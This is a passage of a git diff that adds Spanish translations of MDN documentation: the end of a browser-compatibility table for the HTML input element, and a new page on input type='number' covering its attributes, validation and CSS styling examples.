+  <tr>
+   <td>formnovalidate</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10.62</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>formtarget</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10.62</td>
+   <td>5.0</td>
+  </tr>
+  <tr>
+   <td>height</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("16.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>list</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>max</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("16.0")}}<sup>[20]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>10.62</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>maxlength</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>min</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("16.0")}}<sup>[20]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>10.62</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>minlength</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>27.0</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>multiple</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>name</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td>pattern</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>placeholder</td>
+   <td>2.3</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>11.10</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>readonly</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>required</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>size</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>spellcheck</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>11.0</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>src</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>step</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("16.0")}}<sup>[20]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>10.62</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>tabindex</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>webkitdirectory</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("49.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>width</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("16.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Fue implementado en la versión 2 o inferior.</p>
+
+<p>[2] Implementado para valor <code>indeterminate</code>.</p>
+
+<p>[3] Esta característica todavía no está implementada. Véase {{bug("888320")}}.</p>
+
+<p>[4] Es reconocido, pero no tiene UI.</p>
+
+<p>[5] Gecko 2.0 {{geckoRelease("2.0")}} solo envía las coordenadas X e Y cuando se presiona, sin enviar nombre/valor del elemento.</p>
+
+<p>[6] Esta característica todavía no está implementada. Véase {{bug("888320")}}.</p>
+
+<p>[7] Regionalización en Chrome 11.</p>
+
+<p>[8] Opera 11.01 añadió soporte para un valor predeterminado.</p>
+
+<p>[9] Filtros para estas extensiones de archivo de audio: .aac, .aif, .flac, .iff, .m4a, .m4b, .mid, .midi, .mp3, .mpa, .mpc, .oga, .ogg, .ra, .ram, .snd, .wav, .wma.</p>
+
+<p>[10] Filtros para estas extensiones de archivo de video: .avi, .divx, .flv, .m4v, .mkv, .mov, .mp4, .mpeg, .mpg, .ogm, .ogv, .ogx, .rm, .rmvb, .smil, .webm, .wmv, .xvid</p>
+
+<p>[11] Filtros para estas extensiones de archivo de imagen: .jpe, .jpg, .jpeg, .gif, .png, .bmp, .ico, .svg, .svgz, .tif, .tiff, .ai, .drw, .pct, .psp, .xcf, .psd, .raw</p>
+
+<p>[12] En 6.0 solo funciona con el tipo de documento HTML5, el soporte para validación en 7.0 fue deshabilitado, y rehabilitado en 10.0.</p>
+
+<p>[13] Soportado para <code>type="file"</code> y <code>type="email"</code> desde la versión 5.0.</p>
+
+<p>[14] Soportado para <code>type="file"</code>.</p>
+
+<p>[15] Supported for <code>type="email"</code>.</p>
+
+<p>[16] No está presente para <code>type="checkbox"</code> y <code>type="radio"</code>.</p>
+
+<p>[17] Soportado para el elemento {{HTMLElement("select")}}.</p>
+
+<p>[18] Elementos con <code>tabindex</code> &gt; <code>0</code> no son navegables.</p>
+
+<p>[19] Sin validación, pero provee un teclado específico. Safari Mobile para iOS aplica un estilo predeterminado de <code>{{cssxref("opacity")}}: 0.4</code> para deshabilitar los elementos <code>&lt;input&gt;</code> textuales. Los demás navegadores mayores no comparten este estilo particular actualmente.</p>
+
+<p>[20] La interfaz podría permanecer sin implementarse.</p>
+
+<p>[21] <a href="http://blog.uploadcare.com/post/97884147203/you-cannot-upload-files-to-a-server-using-mobile-safari">La carga de archivos no funcionaba</a> en Mobile Safari para iOS 8.0 y 8.0.1. Este bug fue corregido en iOs 8.0.2.</p>
+
+<p>[22] Safari Mobile para iOS aplicaba un estilo predeterminado de <code>{{cssxref("opacity")}}: 0.4</code> para deshabilitar los elementos <code>&lt;input&gt;</code> textuales. Los demás navegadores mayores no comparten este estilo particular actualmente.</p>
+
+<p>[23] En Safari Mobile para iOS, la configuración <code>{{cssxref("display")}}: block</code> en un <code>&lt;input&gt;</code> con <code>type="date"</code>, <code>type="time"</code>, <code>type="datetime"</code>, <code>type="datetime-local"</code>, o <code>type="month"</code> causa que el texto dentro del <code>&lt;input&gt;</code> se desalinee verticalmente. Véase {{webkitbug("139848")}}.</p>
+
+<p>[24] Desde Chrome 39, un <code>&lt;input&gt;</code> con <code>type="date"</code> estilizado con <code>{{cssxref("display")}}: table-cell; {{cssxref("width")}}: 100%;</code> tendrá un valor para {{cssxref("min-width")}} impuesto por Chrome, y no puede reducirse a un valor inferior a esa anchura mínima. Véase <a href="https://code.google.com/p/chromium/issues/detail?id=346051">Chromium bug #346051</a>.</p>
+
+<p>[25] De forma predeterminada, Firefox, a diferencia de otros navegadores, <a href="http://stackoverflow.com/q/5985839/432681">persistirá el estado de deshabilitado dinámico y (si aplica), la selección de elementos dinámica</a> de un <code>&lt;input&gt;</code> a través de las cargas de páginas. Estableciedo el valor del atributo {{htmlattrxref("autocomplete","input")}} como <code>off</code> deshabilita esta característica. Esto funciona aun cuando el atributo {{htmlattrxref("autocomplete","input")}} no aplicaría normalmente al <code>&lt;input&gt;</code> debido a su atributo {{htmlattrxref("type","input")}}. Véase {{bug(654072)}}.</p>
+
+<p>[26] A partir de Gecko 9.0 {{geckoRelease("9.0")}}, Firefox para Android permite capturar imágenes usando la cámara para posteriormente cargarlas, sin necesidad de dejar el navegador. Los desarrolladores Web pueden implementar estar característica simplemente estableciendo el valor del atributo <code>accept</code> como <code>image/*</code> en el elemento <code>&lt;input&gt;</code> con <code>type="file"</code>.</p>
+
+<p>[27] Firefox para Android establece un gradiente predeterminado en {{cssxref("background-image")}} para todos los inputs con <code>type="file"</code>. Esto puede ser deshabilitado usando <code>background-image: none;</code>. También establece un valor para {{cssxref("border")}} en los mismos.</p>
+
+<p>[28] Previo a Firefox 51, <code>selectionStart</code> y <code>selectionEnd</code> devolvían <code>0</code> cuando no había selección. Ahora devuelven correctamente la separación del caracter siguiente a la posición actual del cursor, donde se insertará el siguiente caracter.</p>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li>Otros elementos relacionados con formularios: {{HTMLElement("form")}}, {{HTMLElement("button")}}, {{HTMLElement("datalist")}}, {{HTMLElement("legend")}}, {{HTMLElement("label")}}, {{HTMLElement("select")}}, {{HTMLElement("optgroup")}}, {{HTMLElement("option")}}, {{HTMLElement("textarea")}}, {{HTMLElement("keygen")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}} and {{HTMLElement("meter")}}.</li>
+ <li><a class="external" href="http://webdesignerwall.com/tutorials/cross-browser-html5-placeholder-text">Cross-browser HTML5 placeholder text</a></li>
+</ul>
diff --git a/files/es/web/html/elemento/input/number/index.html b/files/es/web/html/elemento/input/number/index.html
new file mode 100644
index 0000000000..102e540f7e
--- /dev/null
+++ b/files/es/web/html/elemento/input/number/index.html
@@ -0,0 +1,450 @@
+---
+title: <input type="number">
+slug: Web/HTML/Elemento/input/number
+tags:
+  - Elemento
+  - Elemento de entrada
+  - Formulários HTML
+  - HTML
+  - Número
+  - Referencia
+  - Tipo de entrada
+  - formulários
+translation_of: Web/HTML/Element/input/number
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary">Elementos {{HTMLElement("input")}} del tipo <strong><code>number</code></strong> son usados para permitir al usuario ingresar un número. Éstos incluyen validación incorporada para rechazar entradas no numéricas.</span> El navegador puede optar por proveer flechas de pasos para permitir al usuario incrementar y decrementar el valor usando su ratón o símplemente pulsando con la punta del dedo.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/input-number.html", "tabbed-shorter")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<p>En navegadores que no soportan entradas de tipo <code>number</code>, una entrada <code>number</code> recurre al tipo <code>text</code>.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <td><strong>{{anch("Value")}}</strong></td>
+   <td>Un {{jsxref("Number")}} representando un número, o vacío.</td>
+  </tr>
+  <tr>
+   <td><strong>Eventos</strong></td>
+   <td>{{domxref("HTMLElement/change_event", "change")}} e {{domxref("HTMLElement/input_event", "input")}}</td>
+  </tr>
+  <tr>
+   <td><strong>Atributos comunes que soporta</strong></td>
+   <td>{{htmlattrxref("autocomplete", "input")}}, {{htmlattrxref("list", "input")}}, {{htmlattrxref("placeholder", "input")}}, {{htmlattrxref("readonly", "input")}}</td>
+  </tr>
+  <tr>
+   <td><strong>Atributos IDL</strong></td>
+   <td><code>list</code>, <code>value</code>, <code>valueAsNumber</code></td>
+  </tr>
+  <tr>
+   <td><strong>Métodos</strong></td>
+   <td>{{domxref("HTMLInputElement.select", "select()")}}, {{domxref("HTMLInputElement.stepUp", "stepUp()")}}, {{domxref("HTMLInputElement.stepDown", "stepDown()")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Valor">Valor</h2>
+
+<p>Un {{jsxref("Number")}} representando el valor del número ingresado en la entrada. Tú puedes colocar el valor por omisión para la entrada incluyendo un número dentro del atributo {{htmlattrxref("value", "input")}}, de esta manera:</p>
+
+<pre class="brush: html">&lt;input id="number" type="number" value="42"&gt;</pre>
+
+<p>{{EmbedLiveSample('Value', 600, 40)}}</p>
+
+<h2 id="Atributos_adicionales">Atributos adicionales</h2>
+
+<p>Además de los atributos comúnmente soportados por todos los tipos de {{HTMLElement("input")}}, las entradas de tipo <code>number</code> soportan estos atributos:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Atributo</th>
+   <th scope="col">Descripción</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>{{anch("list")}}</code></td>
+   <td>El <code>id</code> del elemento {{HTMLElement("datalist")}} que contiene las opciones predefinidas de autocompletado.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("max")}}</code></td>
+   <td>El valor máximo a aceptar para esta entrada</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("min")}}</code></td>
+   <td>El valor mínimo a aceptar para esta entrada</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("placeholder")}}</code></td>
+   <td>Un valor de ejemplo para mostrar dentro del campo cuando esté vacío</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("readonly")}}</code></td>
+   <td>Un atributo Booleano indicando si el valor es de solo lectura</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("step")}}</code></td>
+   <td>El intervalo de paso a usar cuando se usen las flechas arriba y abajo para ajustar el valor, así como para su validación</td>
+  </tr>
+ </tbody>
+</table>
+
+<p id="htmlattrdeflist">{{page("/en-US/docs/Web/HTML/Element/input/text", "list", 0, 1, 2)}}</p>
+
+<h3 id="htmlattrdefmax">{{htmlattrdef("max")}}</h3>
+
+<p>El valor máximo a aceptar para esta entrada. Si el {{htmlattrxref("value", "input")}} ingresado en el elemento excede éste, el elemento falla la <a href="https://developer.mozilla.org/es/docs/HTML/HTML5/Validacion_de_restricciones">validación de restricciones</a>. Si el valor del atributo <code>max</code> no es un número, entonces el elemento no tiene un valor máximo.</p>
+
+<p>Este valor debe ser mayor que o igual al valor del atributo <code>min</code>.</p>
+
+<h3 id="htmlattrdefmin">{{htmlattrdef("min")}}</h3>
+
+<p>El valor mínimo a aceptap para esta entrada. Si el {{htmlattrxref("value", "input")}} del elemento es menor que éste, el elemento falla la <a href="https://developer.mozilla.org/es/docs/HTML/HTML5/Validacion_de_restricciones">validación de restricciones</a>. Si un valor es especificado para <code>min</code> que no sea un número valido, la entrada no tiene un valor mínimo.</p>
+
+<p>Este valor debe ser menor que o igual al valor del atributo <code>max</code>.</p>
+
+<p>{{page("/en-US/docs/Web/HTML/Element/input/text", "placeholder", 0, 1, 2)}}</p>
+
+<p>{{page("/en-US/docs/Web/HTML/Element/input/text", "readonly", 0, 1, 2)}}</p>
+
+<h3 id="htmlattrdefstep">{{htmlattrdef("step")}}</h3>
+
+<div id="step-include">
+<p>El atributo <code>step</code> es un número que especifica la granularidad a la que debe adherirse el valor, o el valor especial <code>any</code>, el cual es descrito abajo. Solo valores que sean iguales a la base del escalonado (<code>{{anch("min")}}</code> si es especificado, si no {{htmlattrxref("value", "input")}}, y un valor por omisión apropiado si ninguno de esos es provisto) son válidos.</p>
+
+<p>Una valor de cadena <code>any</code> significa que ningún escalonado es implicado, y cualquier valor es permitido (salvo otras restricciones, tales como <code>{{anch("min")}}</code> y <code>{{anch("max")}}</code>).</p>
+
+<div class="note">
+<p><strong>Nota:</strong> Cuando los datos ingresados por el usuario no se adhieran a la configuración de escalonado, el {{Glossary("user agent")}} puede redondear al valor válido más cercano, prefiriendo numeros en la dirección positiva cuando hayan dos opciones igualmente cercanas.</p>
+</div>
+</div>
+
+<p>El valor por omisión de paso para entradas <code>number</code> es <code>1</code>, permitiendo solo enteros ser ingresados—<em>a menos que</em> la base del escalonado no sea un entero.</p>
+
+<h2 id="Usar_entradas_numéricas">Usar entradas numéricas</h2>
+
+<p>Elementos <code>&lt;input type="number"&gt;</code> pueden ayudar a simplificar tu trabajo al construir la interfaz de usuario y la lógica para ingresar números en un formulario. Cuando creas una entrada numérica con el valor apropiado para <code>type</code>, <code>number</code>, obtienes validación automática para que el texto sea un número, y usualmente un juego de botones arriba y abajo para subir y bajar el valor.</p>
+
+<div class="warning">
+<p><strong>Importante</strong>: Ten en mente que, lógicamente, no deberías poder ingresar otros caracteres que no sean números dentro de una entrada numérica. Parece haber algo de desacuerdo acerca de esto entre navegadores; ver {{bug(1398528)}}.</p>
+</div>
+
+<div class="note">
+<p><strong>Nota</strong>: Es crucial recordar que un usuario puede jugar con tu HTML tras bambalinas, así que tu sitio<em> no debe</em> usar validación simple del lado del cliente para ningún fin de seguridad. Tú <em>debes</em> verificar en el lado del servidor cualquier transacción en la cual el valor provisto pueda tener alguna implicación de seguridad de cualquier tipo.</p>
+</div>
+
+<p>Los navegadores de móviles ayudan más con la experiencia de usuario mostrando un teclado especial mejor adaptado para ingresar números cuando el usuario intente ingresar un valor. La siguiente captura de pantalla es tomada de Firefox para Android:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14963/number-keyboard-fxa.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p>
+
+<h3 id="Una_entrada_numérica_simple">Una entrada numérica simple</h3>
+
+<p>En su forma más básica, una entrada numérica puede ser implementada así:</p>
+
+<pre class="brush: html">&lt;label for="ticketNum"&gt;Number of tickets you would like to buy:&lt;/label&gt;
+&lt;input id="ticketNum" type="number" name="ticketNum" value="0"&gt;</pre>
+
+<p>{{EmbedLiveSample('A_simple_number_input', 600, 40)}}</p>
+
+<p>Una entrada numérica es considerada válida cuando está vacía y cuando un único número es ingresado, pero por lo demás es inválida. Si el atributo xxxx es usado, la entrada ya no es considerada válida cuando esté vacía.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Cualquier número es un valor aceptable, mientras que sea un <a href="https://html.spec.whatwg.org/multipage/infrastructure.html#valid-floating-point-number">número de punto flotante válido</a> (eso es, no <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN">NaN</a> o <a href="https://developer.mozilla.org/es/docs/Web/JavaScript/Referencia/Objetos_globales/Infinity">Infinity</a>).</p>
+</div>
+
+<h3 id="Marcas_de_lugar_Placeholders">Marcas de lugar (Placeholders)</h3>
+
+<p>Algunas veces es de ayuda ofrecer una indicación en contexto en cuanto a qué forma deben tomar los datos de entrada. Esto puede ser especialmente importante si el diseño de la página no ofrece etiquetas descriptivas para cada {{HTMLElement("input")}}. Es aquí donde entran las <strong>marcas de lugar</strong>. Una marca de lugar es un valor comúnmente usado para proveer un indicio en cuanto al formato que la entrada debe tomar por <code>value</code>. Este es mostrado dentro de la caja de edición cuando el <code>value</code> del elemento es <code>""</code>. Una vez que los datos son ingresados dentro de la caja, la marca de lugar desaparece; si la caja es vaciada, la marca de lugar reaparece.</p>
+
+<p>Aquí, tenemos una entrada <code>number</code> con la marca de lugar "<code>Multiple of 10</code>". Nota cómo la marca de lugar desaparece y reaparece conforme manipulas el contenido del campo de edición.</p>
+
+<pre class="brush: html">&lt;input type="number" placeholder="Multiple of 10"&gt;</pre>
+
+<p>{{EmbedLiveSample('Placeholders', 600, 40)}}</p>
+
+<h3 id="Controlar_el_tamaño_del_escalón">Controlar el tamaño del escalón</h3>
+
+<p>Por omisión, los botones arriba y abajo provistos para que pases el número de arriba a abajo pasarán por 1 el valor arriba y abajo. Puedes cambiar esto proveyendo un atributo {{htmlattrxref("step", "input")}}, el cual toma como valor un número que especifica la cantidad de escalones. Nuestro ejemplo arriba contiene una marca de lugar diciendo que el valor debe ser un múltiplo de 10, por lo tanto tiene sentido agregar un valor a <code>step</code> de <code>10</code>:</p>
+
+<pre class="brush: html">&lt;input type="number" placeholder="multiple of 10" step="10"&gt;</pre>
+
+<p>{{EmbedLiveSample('Controlling_step_size', 600, 40)}}</p>
+
+<p>En este ejemplo, debes hallar que las flechas de subir y bajar escalón incrementan y decrementan el valor por 10 cada vez, y no por 1. Aún puedes ingresar manualmente un número que no sea múltiplo de 10, pero este será considerado inválido.</p>
+
+<h3 id="Especificar_valores_máximo_y_mínimo">Especificar valores máximo y mínimo</h3>
+
+<p>Puedes usar los atributos {{htmlattrxref("min", "input")}} y {{htmlattrxref("max", "input")}} para especificar un valor mínimo y máximo que pueda tener el campo. Por ejemplo, demos a nuestro ejemplo un mínimo de <code>0</code>, y un máximo de <code>100</code>:</p>
+
+<pre class="brush: html">&lt;input type="number" placeholder="multiple of 10" step="10" min="0" max="100"&gt;</pre>
+
+<p>{{EmbedLiveSample('Specifying_minimum_and_maximum_values', 600, 40)}}</p>
+
+<p>En esta versión actualizada, debes hallar que los botones para subir y bajar escalón no te permitirán ir bajo 0 o sobre 100. Tú aún puedes ingresar manualmente un número fuera de estos límites, pero este será considerado inválido.</p>
+
+<h3 id="Permitir_valores_decimales">Permitir valores decimales</h3>
+
+<p>Un problema con las entradas numéricas es que su tamaño de escalón por omisión es 1. Si tratas de ingresar un número con un decimal (tal como "1.0"), este será considerado como inválido. Si quieres ingresar un valor que requiere decimales, necesitarás reflejar esto en el valor <code>step</code> (p.ej. <code>step="0.01"</code> para permitir hasta dos dígitos en la parte decimal). Aquí hay un ejemplo simple:</p>
+
+<pre class="brush: html">&lt;input type="number" placeholder="1.0" step="0.01" min="0" max="10"&gt;</pre>
+
+<p>{{EmbedLiveSample("Allowing_decimal_values", 600, 40)}}</p>
+
+<p>Note que este ejemplo permite cualquier valor entre <code>0.0</code> y <code>10.0</code>, con decimales a dos cifras. Por ejemplo, "9.52" es válido, pero "9.521" no lo es.</p>
+
+<h3 id="Controlar_el_tamaño_de_la_entrada">Controlar el tamaño de la entrada</h3>
+
+<p>Los elementos {{HTMLElement("input")}} de tipo <code>number</code> no soportan atributos de dimensión tales como {{htmlattrxref("size", "input")}}. Necesitarás recurrir a <a href="/en-US/docs/Web/CSS">CSS</a> para cambiar el tamaño de estos controles.</p>
+
+<p>Por ejemplo, para ajustar el ancho de la entrada para que sea tan ancho como se necesita para ingresar un número de tres dígitos, podemos cambiar nuestro HTML para incluir un xxxx y acortar nuestra marca de lugar (placeholder) ya que el campo estará demasiado angosto para el texto que hemos estado usando hasta ahora:</p>
+
+<pre class="brush: html">&lt;input type="number" placeholder="x10" step="10" min="0" max="100" id="number"&gt;</pre>
+
+<p>Entonces agregamos algo de CSS para reducir el ancho del elemento con el selector de <code>id</code>, <code>#number</code>:</p>
+
+<pre class="brush: css">#number {
+  width: 3em;
+}</pre>
+
+<p>El resultado se ve así:</p>
+
+<p>{{EmbedLiveSample('Controlling_input_size', 600, 40)}}</p>
+
+<h3 id="Ofrecer_valores_sugeridos">Ofrecer valores sugeridos</h3>
+
+<p>Tú puedes proveer una lista de las opciones por defecto de las cuales el usuario puede seleccionar especificando el atributo {{htmlattrxref("list", "input")}}, el cual contiene como su valor el {{htmlattrxref("id")}} de un {{HTMLElement("datalist")}}, el cual a su vez contiene un elemento {{HTMLElement("option")}} por valor sugerido. El <code>value</code> de cada <code>option</code> es el valor sugerido correspondiente para la caja de entrada numérica.</p>
+
+<pre class="brush: html">&lt;input id="ticketNum" type="number" name="ticketNum" list="defaultNumbers"&gt;
+&lt;span class="validity"&gt;&lt;/span&gt;
+
+&lt;datalist id="defaultNumbers"&gt;
+  &lt;option value="10045678"&gt;
+  &lt;option value="103421"&gt;
+  &lt;option value="11111111"&gt;
+  &lt;option value="12345678"&gt;
+  &lt;option value="12999922"&gt;
+&lt;/datalist&gt;</pre>
+
+<p>{{EmbedLiveSample("Offering_suggested_values", 600, 40)}}</p>
+
+<div class="note">
+<p>El uso del atributo {{htmlattrxref("list", "input")}} con entradas <code>number</code> no está soportado en todos los navegadores. Funciona en Chrome y Opera, por ejemplo, pero no en Firefox.</p>
+</div>
+
+<h2 id="Validación">Validación</h2>
+
+<p>Ya hemos mencionado una serie de características de validación para entradas <code>number</code>, pero revisémoslas ahora:</p>
+
+<ul>
+ <li>Elementos <code>&lt;input type="number"&gt;</code> automáticamente invalidan cualquier entrada que no sea un número (o vacío, a menos que se especifique <code>required</code> ).</li>
+ <li>Puedes usar el atributo {{htmlattrxref("required", "input")}} para invalidar una entrada vacía. (En otras palabras, la entrada <em>debe</em> ser llenada).</li>
+ <li>Puedes usar el atributo {{htmlattrxref("step", "input")}} para restringir valores válidos a cierto conjunto de escalones (p.ej. múltiplos de 10).</li>
+ <li>Puedes usar los atributos {{htmlattrxref("min", "input")}} y {{htmlattrxref("max", "input")}} para restringir los límites inferior y superior de los valores válidos.</li>
+</ul>
+
+<p>El siguiente ejemplo presenta todas las características anteriores, así como el uso de CSS para mostrar íconos de validez o invalidez, dependiendo del valor del <code>input</code>:</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;div&gt;
+    &lt;label for="balloons"&gt;Number of balloons to order (multiples of 10):&lt;/label&gt;
+    &lt;input id="balloons" type="number" name="balloons" step="10" min="0" max="100" required&gt;
+    &lt;span class="validity"&gt;&lt;/span&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;input type="submit"&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>{{EmbedLiveSample("Validation", 600, 80)}}</p>
+
+<p>Intenta enviar el formulario con diferentes valores inválidos ingresados — p.ej., siv valor; un valor abajo de 0 o arriba de 100; un valor que no sea múltiplo de 10; o un valor no numérico — y mira cómo los mensajes de error que te da el navegador difieren con estos.</p>
+
+<p>El CSS aplicado a este ejemplo es el siguiente:</p>
+
+<pre class="brush: css">div {
+  margin-bottom: 10px;
+}
+
+input:invalid+span:after {
+  content: '✖';
+  padding-left: 5px;
+}
+
+input:valid+span:after {
+  content: '✓';
+  padding-left: 5px;
+}</pre>
+
+<p>Aquí utilizamos las pseudo clases {{cssxref(":invalid")}} y {{cssxref(":valid")}} para mostrar un ícono apropiado de invalidez o validez como contenido generado en el elemento adyacente {{htmlelement("span")}}, como un indicador visual.</p>
+
+<p>Lo colocamos en un elemento separado <code>&lt;span&gt;</code> para mayor flexibilidad. Algunos navegadores no muestran contenido generado muy eficientemente en algunos tipos o entradas de formulario. (Lee, por ejemplo, la sección sobre <a href="/es/docs/Web/HTML/Element/input/date#Validation">validación de <code>&lt;input type="date"&gt;</code></a>).</p>
+
+<div class="warning">
+<p><strong>Importante</strong>: ¡La validación de formularios HTML <em>no</em> es un substituto de scripts del lado del servidor que asegure que los datos estén en el formato apropiado!</p>
+
+<p>Es demasiado fácil para alguien hacer ajustes al HTML que le prmita evitar la validación, o removerla completamente. También es posible para alguien evadir tu HTML y enviar los datos directamente a tu servidor.</p>
+
+<p>Si tu código del lado del servidor falla el validar los datos que recibe, el desastre podría azotar cuando datos que no están formateados apropiadamente sean enviados (o cuando los datos son demasiado grandes, o son del tipo incorrecto, y así sucesivamente).</p>
+</div>
+
+<h3 id="Validación_de_patron">Validación de patron</h3>
+
+<p>Elementos <code>&lt;input type="number"&gt;</code> no soportan el uso del atributo {{htmlattrxref("pattern", "input")}} para hacer que los valores ingresados se ajusten a un patrón de expresión regular específico.</p>
+
+<p>La fundamentación para esto es que las entradas numéricas no serán válidas si contienen cualquier cosa excepto números, y tú puedes restringir el número mínimo y máximo de dígitos válidos usando los atributos {{htmlattrxref("min", "input")}} y {{htmlattrxref("max", "input")}} (a como se explica arriba).</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Ya hemos cubierto el hecho de que por defecto, el incremento es <code>1</code>, y tú puedes usar el atributo {{htmlattrxref("step", "input")}} para permitir entradas decimales. Echemos un vistazo más de cerca.</p>
+
+<p>En el siguiente ejemplo hay un formulario para ingresar la estatura del usuario. Por defecto acepta la estatura en metros, pero puedes hacer click en el botón apropiado para cambiar el formulario a que acepte pies y pulgadas. La entrada para la estatura en metros acepta decimales a dos posiciones.</p>
+
+<p>{{EmbedLiveSample("Examples", 600, 100)}}</p>
+
+<p>El HTML se ve así:</p>
+
+<pre class="brush: html">&lt;form&gt;
+    &lt;div class="metersInputGroup"&gt;
+        &lt;label for="meters"&gt;Enter your height — meters:&lt;/label&gt;
+        &lt;input id="meters" type="number" name="meters" step="0.01" min="0" placeholder="e.g. 1.78" required&gt;
+        &lt;span class="validity"&gt;&lt;/span&gt;
+    &lt;/div&gt;
